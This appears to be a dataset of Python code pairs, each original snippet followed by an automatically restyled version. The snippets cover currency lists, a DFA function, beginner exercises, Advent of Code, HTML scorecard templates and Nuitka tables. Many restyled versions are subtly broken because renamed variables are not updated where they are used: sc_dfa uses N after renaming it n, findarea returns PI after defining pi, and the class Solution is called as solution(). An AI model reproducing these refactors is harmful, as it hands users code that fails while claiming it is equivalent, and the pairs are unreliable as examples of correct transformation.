'CRC',
'HRK',
'CUP',
'CZK',
'DKK',
'DOP',
'XCD',
'EGP',
'SVC',
'EUR',
'FKP',
'FJD',
'GHS',
'GIP',
'GTQ',
'GGP',
'GYD',
'HNL',
'HKD',
'HUF',
'ISK',
'INR',
'IDR',
'IRR',
'IMP',
'ILS',
'JMD',
'JPY',
'JEP',
'KZT',
'KPW',
'KRW',
'KGS',
'LAK',
'LBP',
'LRD',
'MKD',
'MYR',
'MUR',
'MXN',
'MNT',
'MZN',
'NAD',
'NPR',
'ANG',
'NZD',
'NIO',
'NGN',
'NOK',
'OMR',
'PKR',
'PAB',
'PYG',
'PEN',
'PHP',
'PLN',
'QAR',
'RON',
'RUB',
'SHP',
'SAR',
'RSD',
'SCR',
'SGD',
'SBD',
'SOS',
'ZAR',
'LKR',
'SEK',
'CHF',
'SRD',
'SYP',
'TWD',
'THB',
'TTD',
'TRY',
'TVD',
'UAH',
'GBP',
'USD',
'UYU',
'UZS',
'VEF',
'VND',
'YER',
'ZWD'
]
| exchanges = {'USA': None, 'Germany': 'XETR', 'Hong Kong': 'XHKG', 'Japan': 'XTKS', 'France': 'XPAR', 'Canada': 'XTSE', 'United Kingdom': 'XLON', 'Switzerland': 'XSWX', 'Australia': 'XASX', 'South Korea': 'XKRX', 'The Netherlands': 'XAMS', 'Spain': 'XMAD', 'Russia': 'MISX', 'Italy': 'XMIL', 'Belgium': 'XBRU', 'Mexiko': 'XMEX', 'Sweden': 'XSTO', 'Norway': 'XOSL', 'Finland': 'XHEL', 'Denmark': 'XCSE', 'Austria': 'XWBO'}
exchanges_untested = {'Argentina': 'XBUE', 'Australia_XNEC': 'XNEC', 'Australia': 'XASX', 'Austria': 'XWBO', 'Bahrain': 'XBAH', 'Bangladesh': 'XDHA', 'Belgium': 'XBRU', 'Brazil': 'BVMF', 'Canada_XCNQ': 'XCNQ', 'Canada': 'XTSE', 'Canada_XTSX': 'XTSX', 'Canada_NEOE': 'NEOE', 'Chile': 'XSGO', 'China_SHG': 'XSHG', 'China': 'XSHE', 'Colombia': 'XBOG', 'Croatia': 'XZAG', 'Cyprus': 'XCYS', 'Czech Republic': 'XPRA', 'Denmark': 'XCSE', 'Egypt': 'XCAI', 'Finland': 'XHEL', 'France': 'XPAR', 'Germany_XEQT': 'XEQT', 'Germany_XBER': 'XBER', 'Germany_XDUS': 'XDUS', 'Germany_XFRA': 'XFRA', 'Germany_XMUN': 'XMUN', 'Germany_XSTU': 'XSTU', 'Germany': 'XETR', 'Germany_XQTX': 'XQTX', 'Greece': 'XATH', 'Hong Kong': 'XHKG', 'Hungary': 'XBUD', 'Iceland': 'XICE', 'India_XBOM': 'XBOM', 'India': 'XNSE', 'Indonesia': 'XIDX', 'Ireland': 'XDUB', 'Israel': 'XTAE', 'Italy': 'MTAA', 'Japan': 'XTKS', 'Jordan': 'XAMM', 'Kenya': 'XNAI', 'Kuwait': 'XKUW', 'Luxembourg': 'XLUX', 'Malaysia': 'XKLS', 'Mexico': 'XMEX', 'Morocco': 'XCAS', 'New Zealand': 'XNZE', 'Nigeria': 'XNSA', 'Norway': 'XOSL', 'Norway_NOTC': 'NOTC', 'Oman': 'XMUS', 'Pakistan': 'XKAR', 'Peru': 'XLIM', 'Philippines': 'XPHS', 'Poland': 'XWAR', 'Portugal': 'XLIS', 'Qatar': 'DSMD', 'Romania': 'XBSE', 'Russia': 'MISX', 'Saudi Arabia': 'XSAU', 'Senegal': 'XBRV', 'Singapore': 'XSES', 'Slovenia': 'XLJU', 'South Africa': 'XJSE', 'South Korea': 'XKRX', 'South Korea_XKOS': 'XKOS', 'Spain': 'XMAD', 'Sri Lanka': 'XCOL', 'Sweden_XNGM': 'XNGM', 'Sweden': 'XSTO', 'Switzerland': 'XSWX', 'Switzerland_XVTX': 'XVTX', 'Syria': 'XDSE', 'Taiwan': 'XTAI', 'Thailand': 'XBKK', 'The Netherlands_XTOMX': 'TOMX', 'The Netherlands': 'XAMS', 'Turkey': 'XIST', 'United Arab Emirates_XDFM': 'XDFM', 'United Arab Emirates_DIFX': 'DIFX', 'United Arab Emirates': 'XADS', 'United Kingdom_BATE': 'BATE', 'United Kingdom_CHIX': 'CHIX', 'United Kingdom': 'XLON', 'United Kingdom_XPOS': 'XPOS', 'United Kingdom_TRQX': 'TRQX', 'United Kingdom_BOAT': 'BOAT', 'USA_XASE': 'XASE', 'USA_BATS': 'BATS', 'USA_XNYS': 'XNYS', 'USA_ARCX': 'ARCX', 'USA_XNMS': 'XNMS', 'USA_XNCM': 'XNCM', 'USA_OOTC': 'OOTC', 'USA_XNGS': 'XNGS', 'USA': None, 'Vietnam': 'XSTC', 'Vietnam_HSTC': 'HSTC'}
currencies = ['ALL', 'AFN', 'ARS', 'AWG', 'AUD', 'AZN', 'BSD', 'BBD', 'BYN', 'BZD', 'BMD', 'BOB', 'BAM', 'BWP', 'BGN', 'BRL', 'BND', 'KHR', 'CAD', 'KYD', 'CLP', 'CNY', 'COP', 'CRC', 'HRK', 'CUP', 'CZK', 'DKK', 'DOP', 'XCD', 'EGP', 'SVC', 'EUR', 'FKP', 'FJD', 'GHS', 'GIP', 'GTQ', 'GGP', 'GYD', 'HNL', 'HKD', 'HUF', 'ISK', 'INR', 'IDR', 'IRR', 'IMP', 'ILS', 'JMD', 'JPY', 'JEP', 'KZT', 'KPW', 'KRW', 'KGS', 'LAK', 'LBP', 'LRD', 'MKD', 'MYR', 'MUR', 'MXN', 'MNT', 'MZN', 'NAD', 'NPR', 'ANG', 'NZD', 'NIO', 'NGN', 'NOK', 'OMR', 'PKR', 'PAB', 'PYG', 'PEN', 'PHP', 'PLN', 'QAR', 'RON', 'RUB', 'SHP', 'SAR', 'RSD', 'SCR', 'SGD', 'SBD', 'SOS', 'ZAR', 'LKR', 'SEK', 'CHF', 'SRD', 'SYP', 'TWD', 'THB', 'TTD', 'TRY', 'TVD', 'UAH', 'GBP', 'USD', 'UYU', 'UZS', 'VEF', 'VND', 'YER', 'ZWD'] |
def SC_DFA(y):
N = len(y)
tau = int(np.floor(N/2))
y = y - np.mean(y)
x = np.cumsum(y)
taus = np.arange(5,tau+1)
ntau = len(taus)
F = np.zeros(ntau)
for i in range(ntau):
t = int(taus[i])
x_buff = x[:N - N % t]
x_buff = x_buff.reshape((int(N / t),t))
y_buff = np.zeros((int(N / t),t))
for j in range(int(N / t)):
tt = range(0,int(t))
p = np.polyfit(tt,x_buff[j,:],1)
y_buff[j,:] = np.power(x_buff[j,:] - np.polyval(p,tt),2)
y_buff.reshape((N - N % t,1))
F[i] = np.sqrt(np.mean(y_buff))
logtaur = np.log(taus)
logF = np.log(F)
p = np.polyfit(logtaur,logF,1)
return p[0]
| def sc_dfa(y):
n = len(y)
tau = int(np.floor(N / 2))
y = y - np.mean(y)
x = np.cumsum(y)
taus = np.arange(5, tau + 1)
ntau = len(taus)
f = np.zeros(ntau)
for i in range(ntau):
t = int(taus[i])
x_buff = x[:N - N % t]
x_buff = x_buff.reshape((int(N / t), t))
y_buff = np.zeros((int(N / t), t))
for j in range(int(N / t)):
tt = range(0, int(t))
p = np.polyfit(tt, x_buff[j, :], 1)
y_buff[j, :] = np.power(x_buff[j, :] - np.polyval(p, tt), 2)
y_buff.reshape((N - N % t, 1))
F[i] = np.sqrt(np.mean(y_buff))
logtaur = np.log(taus)
log_f = np.log(F)
p = np.polyfit(logtaur, logF, 1)
return p[0] |
'''
Formula for area of circle
Area = pi * r^2
where pi is constant and r is the radius of the circle
'''
def findarea(r):
PI = 3.142
return PI * (r*r);
print("Area is %.6f" % findarea(5));
| """
Formula for area of circle
Area = pi * r^2
where pi is constant and r is the radius of the circle
"""
def findarea(r):
pi = 3.142
return PI * (r * r)
print('Area is %.6f' % findarea(5)) |
class Take(object):
def __init__(self, stage, unit, entity,
not_found_proc, finished_proc):
self._stage = stage
self._unit = unit
self._entity = entity
self._finished_proc = finished_proc
self._not_found_proc = not_found_proc
def enact(self):
if not self._entity.location \
or self._entity.location != (self._unit.x, self._unit.y):
self._not_found_proc()
return
self._entity.location = None
self._stage.delete_entity(self._entity)
self._finished_proc()
return
| class Take(object):
def __init__(self, stage, unit, entity, not_found_proc, finished_proc):
self._stage = stage
self._unit = unit
self._entity = entity
self._finished_proc = finished_proc
self._not_found_proc = not_found_proc
def enact(self):
if not self._entity.location or self._entity.location != (self._unit.x, self._unit.y):
self._not_found_proc()
return
self._entity.location = None
self._stage.delete_entity(self._entity)
self._finished_proc()
return |
"""
Author: CaptCorpMURICA
Project: 100DaysPython
File: module1_day04_variables.py
Creation Date: 6/2/2019, 8:55 AM
Description: Learn about using variables in python.
"""
# Variables need to start with a letter or an underscore. Numbers can be used in the variable name as long as it is not
# the first character. Additionally, python is case sensitive, so the same word can store multiple items as long as the
# casing differs.
greeting = "Hello"
_name = "General Kenobi."
Greeting = "There"
_bestLine_ep3_ = "You are a bold one."
# Using string concatenation:
print(greeting + " " + Greeting + "\n\t" + _name + " " + _bestLine_ep3_)
# Using string replacement:
print("{} {}\n\t{} {}".format(greeting, Greeting, _name, _bestLine_ep3_))
# Variables can also store numeric values.
released = 2005
# Using string concatenation:
print("Revenge of the Sith was released on May 4, " + str(released) + ".")
# Using string replacement:
print("Revenge of the Sith was released on May 4, {}.".format(released))
# Variables are commonly used in arithmetic operations.
a = 3
b = 4
c = (a ** 2 + b ** 2) ** .5
print("Pythagorean Theorem: a^2 + b^2 = c^2, so when a = {} and b = {}, then c = {}".format(a, b, c))
# You can test for contents in a variable. If the test results **True**, then the tested condition is in the variable.
# Otherwise, the test returns **False**.
film = "Revenge of the Sith"
print("Sith" in film)
print("sith" in film)
print("sith" in film.lower())
# Python variables get their type with the data that is stored. Unlike other programming languages, you do not declare a
# type for the variable. Additionally, the same variable can be overwritten with new data and a different type. This
# should be taken into account when creating python programs.
var = "Variables are mutable"
type(var)
var = 3
type(var)
var = 3.5
type(var)
# If the variable contains a numeric value, it can be converted to an integer type with the int() function.
var = int(var)
type(var)
# The variable can be converted to a string with the str() function regardless of the contents.
var = str(var)
type(var)
# If the variable contains a numeric value, it can be converted to an float type with the float() function.
var = float(var)
type(var)
var = True
type(var)
| """
Author: CaptCorpMURICA
Project: 100DaysPython
File: module1_day04_variables.py
Creation Date: 6/2/2019, 8:55 AM
Description: Learn about using variables in python.
"""
greeting = 'Hello'
_name = 'General Kenobi.'
greeting = 'There'
_best_line_ep3_ = 'You are a bold one.'
print(greeting + ' ' + Greeting + '\n\t' + _name + ' ' + _bestLine_ep3_)
print('{} {}\n\t{} {}'.format(greeting, Greeting, _name, _bestLine_ep3_))
released = 2005
print('Revenge of the Sith was released on May 4, ' + str(released) + '.')
print('Revenge of the Sith was released on May 4, {}.'.format(released))
a = 3
b = 4
c = (a ** 2 + b ** 2) ** 0.5
print('Pythagorean Theorem: a^2 + b^2 = c^2, so when a = {} and b = {}, then c = {}'.format(a, b, c))
film = 'Revenge of the Sith'
print('Sith' in film)
print('sith' in film)
print('sith' in film.lower())
var = 'Variables are mutable'
type(var)
var = 3
type(var)
var = 3.5
type(var)
var = int(var)
type(var)
var = str(var)
type(var)
var = float(var)
type(var)
var = True
type(var) |
rows = []
with open("C:\\Privat\\advent_of_code20\\puzzle14\\input1.txt") as f:
for line in f:
rows.append(line.strip())
#print(rows)
memory = {}
currentMask = ""
for line in rows:
split = line.split(' = ')
if 'mask' in split[0]:
currentMask = split[1].strip()
else:
# value in bit
bit = format(int(split[1]), '036b')
# bit through mask
maskl = len(currentMask)
bitl = len(bit)
result = ''
#print(bit)
#print(currentMask)
for i in range(0, len(bit)):
maskBit = currentMask[i]
bitBit = bit[i]
if maskBit != 'X':
result += maskBit
else:
result += bitBit
#print(result)
toWrite = int(result, 2)
# replace in memory
memoryPosition = split[0][4:-1]
if not memoryPosition in memory:
memory[memoryPosition] = 0
memory[memoryPosition] = toWrite
#print(memory)
sum = 0
for key in memory:
sum += memory[key]
print("Sum of all values in memory: " + str(sum))
| rows = []
with open('C:\\Privat\\advent_of_code20\\puzzle14\\input1.txt') as f:
for line in f:
rows.append(line.strip())
memory = {}
current_mask = ''
for line in rows:
split = line.split(' = ')
if 'mask' in split[0]:
current_mask = split[1].strip()
else:
bit = format(int(split[1]), '036b')
maskl = len(currentMask)
bitl = len(bit)
result = ''
for i in range(0, len(bit)):
mask_bit = currentMask[i]
bit_bit = bit[i]
if maskBit != 'X':
result += maskBit
else:
result += bitBit
to_write = int(result, 2)
memory_position = split[0][4:-1]
if not memoryPosition in memory:
memory[memoryPosition] = 0
memory[memoryPosition] = toWrite
sum = 0
for key in memory:
sum += memory[key]
print('Sum of all values in memory: ' + str(sum)) |
startHTML = '''
<html>
<head>
<style>
table {
border-collapse: collapse;
height: 100%;
width: 100%;
}
table, th, td {
border: 3px solid black;
}
@media print {
table {
page-break-after: always;
}
}
.cutoffs td {
border: 0;
font-weight: bold;
}
.compName {
font-size: 48pt;
font-weight: bold;
}
.labels {
font-size: 24pt;
font-weight: bold;
}
.attempt {
font-size: 36pt;
font-weight: bold;
text-align: center;
}
.event, .personID, .scrambler {
font-size: 24pt;
font-weight: bold;
width: 60px;
}
.round, .heat {
font-size: 24pt;
font-weight: bold;
}
.personName {
font-size: 40pt;
font-weight: bold;
}
.attemptNumber {
width: 60px;
}
.initial {
width: 100px;
}
</style>
</head>
<body>
'''
ao5Table = '''
<table>
<tr>
<th colspan="6" class="compName">competitionName</th>
</tr>
<tr>
<th colspan="1" class="personID">competitorID</th>
<th colspan="3" class="event">eventName</th>
<th colspan="1" class="heat">G: heatNumber</th>
<th colspan="1" class="round">R: roundNumber</th>
</tr>
<tr>
<th colspan="6" class="personName">competitorName</th>
</tr>
<tr class="labels">
<th colspan="1" class="scrambler">Scr</th>
<th colspan="1" class="attemptNumber">#</th>
<th colspan="2">Results</th>
<th colspan="1" class="initial">Judge</th>
<th colspan="1" class="initial">Comp</th>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">1</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">2</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
<tr class="cutoffs">
<td colspan="1"></td>
<td colspan="1"></td>
<td colspan="1">Cutoff: cutoffTime</td>
<td colspan="1">Time Limit: timeLimit</td>
<td colspan="1"></td>
<td colspan="1"></td>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">3</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">4</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">5</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
<tr class="empty">
<td colspan="6"></td>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">E</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
</table>
'''
mo3Table = '''
<table>
<tr>
<th colspan="6" class="compName">competitionName</th>
</tr>
<tr>
<th colspan="1" class="personID">competitorID</th>
<th colspan="3" class="event">eventName</th>
<th colspan="1" class="heat">G: heatNumber</th>
<th colspan="1" class="round">R: roundNumber</th>
</tr>
<tr>
<th colspan="6" class="personName">competitorName</th>
</tr>
<tr class="labels">
<th colspan="1" class="scrambler">Scr</th>
<th colspan="1" class="attemptNumber">#</th>
<th colspan="2">Results</th>
<th colspan="1" class="initial">Judge</th>
<th colspan="1" class="initial">Comp</th>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">1</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
<tr class="cutoffs">
<td colspan="1"></td>
<td colspan="1"></td>
<td colspan="1">Cutoff: cutoffTime</td>
<td colspan="1">Time Limit: timeLimit</td>
<td colspan="1"></td>
<td colspan="1"></td>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">2</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">3</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
<tr class="empty">
<td colspan="6"></td>
</tr>
<tr class="attempt">
<td colspan="1"> </td>
<td colspan="1">E</td>
<td colspan="2"> </td>
<td colspan="1"> </td>
<td colspan="1"> </td>
</tr>
</table>
'''
endHTML = '''
</body>
</html>
''' | start_html = '\n <html>\n <head>\n <style>\n table {\n border-collapse: collapse;\n height: 100%;\n width: 100%;\n }\n\n table, th, td {\n border: 3px solid black;\n }\n\n @media print {\n table {\n page-break-after: always;\n }\n }\n\n .cutoffs td {\n border: 0;\n font-weight: bold;\n }\n\n .compName {\n font-size: 48pt;\n font-weight: bold;\n }\n\n .labels {\n font-size: 24pt;\n font-weight: bold;\n }\n\n .attempt {\n font-size: 36pt;\n font-weight: bold;\n text-align: center;\n }\n\n .event, .personID, .scrambler {\n font-size: 24pt;\n font-weight: bold;\n width: 60px;\n }\n\n .round, .heat {\n font-size: 24pt;\n font-weight: bold;\n }\n\n .personName {\n font-size: 40pt;\n font-weight: bold;\n }\n\n .attemptNumber {\n width: 60px;\n }\n\n .initial {\n width: 100px;\n }\n </style>\n </head>\n <body>\n'
ao5_table = '\n <table>\n <tr>\n <th colspan="6" class="compName">competitionName</th>\n </tr>\n <tr>\n <th colspan="1" class="personID">competitorID</th>\n <th colspan="3" class="event">eventName</th>\n <th colspan="1" class="heat">G: heatNumber</th>\n <th colspan="1" class="round">R: roundNumber</th>\n </tr>\n <tr>\n <th colspan="6" class="personName">competitorName</th>\n </tr>\n <tr class="labels">\n <th colspan="1" class="scrambler">Scr</th>\n <th colspan="1" class="attemptNumber">#</th>\n <th colspan="2">Results</th>\n <th colspan="1" class="initial">Judge</th>\n <th colspan="1" class="initial">Comp</th>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">1</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">2</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n <tr class="cutoffs">\n <td colspan="1"></td>\n <td colspan="1"></td>\n <td colspan="1">Cutoff: cutoffTime</td>\n <td colspan="1">Time Limit: timeLimit</td>\n <td colspan="1"></td>\n <td colspan="1"></td>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">3</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">4</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">5</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n <tr class="empty">\n <td colspan="6"></td>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">E</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n </table>\n'
mo3_table = '\n <table>\n <tr>\n <th colspan="6" class="compName">competitionName</th>\n </tr>\n <tr>\n <th colspan="1" class="personID">competitorID</th>\n <th colspan="3" class="event">eventName</th>\n <th colspan="1" class="heat">G: heatNumber</th>\n <th colspan="1" class="round">R: roundNumber</th>\n </tr>\n <tr>\n <th colspan="6" class="personName">competitorName</th>\n </tr>\n <tr class="labels">\n <th colspan="1" class="scrambler">Scr</th>\n <th colspan="1" class="attemptNumber">#</th>\n <th colspan="2">Results</th>\n <th colspan="1" class="initial">Judge</th>\n <th colspan="1" class="initial">Comp</th>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">1</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n <tr class="cutoffs">\n <td colspan="1"></td>\n <td colspan="1"></td>\n <td colspan="1">Cutoff: cutoffTime</td>\n <td colspan="1">Time Limit: timeLimit</td>\n <td colspan="1"></td>\n <td colspan="1"></td>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">2</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">3</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n <tr class="empty">\n <td colspan="6"></td>\n </tr>\n <tr class="attempt">\n <td colspan="1"> </td>\n <td colspan="1">E</td>\n <td colspan="2"> </td>\n <td colspan="1"> </td>\n <td colspan="1"> </td>\n </tr>\n </table>\n'
end_html = '\n </body>\n </html>\n' |
#!/usr/bin/python3
class InstructionNotRecognized(Exception):
''' Exception to throw when an instruction does not have defined conversion code '''
pass
reg_labels = """ .section .tdata
REG_BANK:
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
""" | class Instructionnotrecognized(Exception):
""" Exception to throw when an instruction does not have defined conversion code """
pass
reg_labels = ' .section .tdata\nREG_BANK:\n .dword 0\n .dword 0\n .dword 0\n .dword 0\n .dword 0\n .dword 0\n .dword 0\n .dword 0\n' |
# Copyright 2022, Kay Hayen, mailto:kay.hayen@gmail.com
#
# Part of "Nuitka", an optimizing Python compiler that is compatible and
# integrates with CPython, but also works on its own.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
""" Operator code tables
These are mostly used to look up the Python C/API from operations or a wrapper used.
"""
unary_operator_codes = {
"UAdd": ("PyNumber_Positive", 1),
"USub": ("PyNumber_Negative", 1),
"Invert": ("PyNumber_Invert", 1),
"Repr": ("PyObject_Repr", 1),
"Not": ("UNARY_NOT", 0),
}
rich_comparison_codes = {
"Lt": "LT",
"LtE": "LE",
"Eq": "EQ",
"NotEq": "NE",
"Gt": "GT",
"GtE": "GE",
}
containing_comparison_codes = ("In", "NotIn")
| """ Operator code tables
These are mostly used to look up the Python C/API from operations or a wrapper used.
"""
unary_operator_codes = {'UAdd': ('PyNumber_Positive', 1), 'USub': ('PyNumber_Negative', 1), 'Invert': ('PyNumber_Invert', 1), 'Repr': ('PyObject_Repr', 1), 'Not': ('UNARY_NOT', 0)}
rich_comparison_codes = {'Lt': 'LT', 'LtE': 'LE', 'Eq': 'EQ', 'NotEq': 'NE', 'Gt': 'GT', 'GtE': 'GE'}
containing_comparison_codes = ('In', 'NotIn') |
# Use snippet 'summarize_a_survey_module' to output a table and a graph of
# participant counts by response for one question_concept_id
# The snippet assumes that a dataframe containing survey questions and answers already exists
# The snippet also assumes that setup has been run
# Update the next 3 lines
survey_df = YOUR_DATASET_NAME_survey_df
question_concept_id = 1585940
denominator = None # e.g: 200000
####################################################################################
# DON'T CHANGE FROM HERE
####################################################################################
def summarize_a_question_concept_id(df, question_concept_id, denominator=None):
df = df.loc[df['question_concept_id'] == question_concept_id].copy()
new_df = df.groupby(['answer_concept_id', 'answer'])['person_id']\
.nunique()\
.reset_index()\
.rename(columns=dict(person_id='n_participant'))\
.assign(answer_concept_id = lambda x: np.int32(x.answer_concept_id))
if denominator:
new_df['response_rate'] = round(100*new_df['n_participant']/denominator,2)
if question_concept_id in df['question_concept_id'].unique():
print(f"Distribution of response to {df.loc[df['question_concept_id'] == question_concept_id, 'question'].unique()[0]}")
# show table
display(new_df)
# show graph
display(ggplot(data=new_df) +
geom_bar(aes(x='answer', y='n_participant'), stat='identity') +
coord_flip() +
labs(y="Participant count", x="") +
theme_bw())
else:
print("There is an error with your question_concept_id")
summarize_a_question_concept_id(survey_df, question_concept_id, denominator)
| survey_df = YOUR_DATASET_NAME_survey_df
question_concept_id = 1585940
denominator = None
def summarize_a_question_concept_id(df, question_concept_id, denominator=None):
df = df.loc[df['question_concept_id'] == question_concept_id].copy()
new_df = df.groupby(['answer_concept_id', 'answer'])['person_id'].nunique().reset_index().rename(columns=dict(person_id='n_participant')).assign(answer_concept_id=lambda x: np.int32(x.answer_concept_id))
if denominator:
new_df['response_rate'] = round(100 * new_df['n_participant'] / denominator, 2)
if question_concept_id in df['question_concept_id'].unique():
print(f"Distribution of response to {df.loc[df['question_concept_id'] == question_concept_id, 'question'].unique()[0]}")
display(new_df)
display(ggplot(data=new_df) + geom_bar(aes(x='answer', y='n_participant'), stat='identity') + coord_flip() + labs(y='Participant count', x='') + theme_bw())
else:
print('There is an error with your question_concept_id')
summarize_a_question_concept_id(survey_df, question_concept_id, denominator) |
class LOG:
def info(message):
print("Info: " + message)
def error(message):
print("Error: " + message)
def debug(message):
print("Debug: " + message)
| class Log:
def info(message):
print('Info: ' + message)
def error(message):
print('Error: ' + message)
def debug(message):
print('Debug: ' + message) |
if __name__ == '__main__':
# Fill in the code to do the following
# 1. Set x to be a non-negative integer (no decimals, no negatives)
# 2. If x is divisible by 3, print 'Fizz'
# 3. If x is divisible by 5, print 'Buzz'
# 4. If x is divisible by both 3 and 5, print 'FizzBuzz'
# 5. If x is divisible by neither 3 nor 5, do not print anything
#
# How to check if a number is divisble by another number?
# Use modulus division! Modulus division tells you what the
# remainder is after you do as many divisions as you can. It is performed
# with the % operator.
#
# For example, 7 / 4 = 1 with 3 remaining. Modulus division will return
# 3 for this example, that is, 7 % 4, will return 3. If a number is x is
# divisible by another number y, x % y will be 0. So, 4 % 2 = 0.
# Change assignment here
x = 1
# Insert conditional(s) here | if __name__ == '__main__':
x = 1 |
class Solution:
def rotate(self, matrix) -> None:
result = []
for i in range(0,len(matrix)):
store = []
for j in range(len(matrix)-1,-1,-1):
store.append(matrix[j][i])
result.append(store)
for i in range(0,len(result)):
matrix[i] = result[i]
return matrix
a = Solution()
print(a.rotate([[1,2],[3,4]]))
| class Solution:
def rotate(self, matrix) -> None:
result = []
for i in range(0, len(matrix)):
store = []
for j in range(len(matrix) - 1, -1, -1):
store.append(matrix[j][i])
result.append(store)
for i in range(0, len(result)):
matrix[i] = result[i]
return matrix
a = solution()
print(a.rotate([[1, 2], [3, 4]])) |
provinces = [
# ["nunavut", 2],
# ["yukon", 4],
# ["Northwest%20Territories",2],
# ["Prince%20Edward%20Island", 6],
# ["Newfoundland%20and%20Labrador", 12],
# ["New%20Brunswick", 28],
# ["Nova%20Scotia", 36],
# ["Saskatchewan", 34],
# ["Manitoba", 40],
# ["Alberta", 167],
# ["British%20Columbia", 307],
# ["quebec", 407],
["ontario", 1000],
# ["calgary", 811],
]
| provinces = [['ontario', 1000]] |
# Copyright 2019 Open Source Robotics Foundation, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Implementation of `InvalidLaunchFileError` class."""
class InvalidLaunchFileError(Exception):
"""Exception raised when the given launch file is not valid."""
def __init__(self, extension='', *, likely_errors=None):
"""Constructor."""
self._extension = extension
self._likely_errors = likely_errors
if self._extension == '' or not self._likely_errors:
self._error_message = (
'The launch file may have a syntax error, or its format is unknown'
)
else:
self._error_message = (
'Caught exception when trying to load file of format [{}]: {}'
).format(self._extension, self._likely_errors[0])
self.__cause__ = self._likely_errors[0]
def __str__(self):
"""Pretty print."""
return self._error_message
| """Implementation of `InvalidLaunchFileError` class."""
class Invalidlaunchfileerror(Exception):
"""Exception raised when the given launch file is not valid."""
def __init__(self, extension='', *, likely_errors=None):
"""Constructor."""
self._extension = extension
self._likely_errors = likely_errors
if self._extension == '' or not self._likely_errors:
self._error_message = 'The launch file may have a syntax error, or its format is unknown'
else:
self._error_message = 'Caught exception when trying to load file of format [{}]: {}'.format(self._extension, self._likely_errors[0])
self.__cause__ = self._likely_errors[0]
def __str__(self):
"""Pretty print."""
return self._error_message |
class Estrella:
def __init__(self,galaxia ="none",temperatura = 0,masa = 0):
self.galaxia = galaxia
self.temperatura = temperatura
self.masa = masa
| class Estrella:
def __init__(self, galaxia='none', temperatura=0, masa=0):
self.galaxia = galaxia
self.temperatura = temperatura
self.masa = masa |
L = int(input())
Tot = 0
Med = 0
T = str(input()).upper()
M = [[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0]]
for i in range(12):
for j in range(12):
M[i][j] = float(input())
for j in range(12):
Tot =+ M[L][j]
Med = Tot/12
if T == "M":
print('{:.1f}'.format(Med))
else:
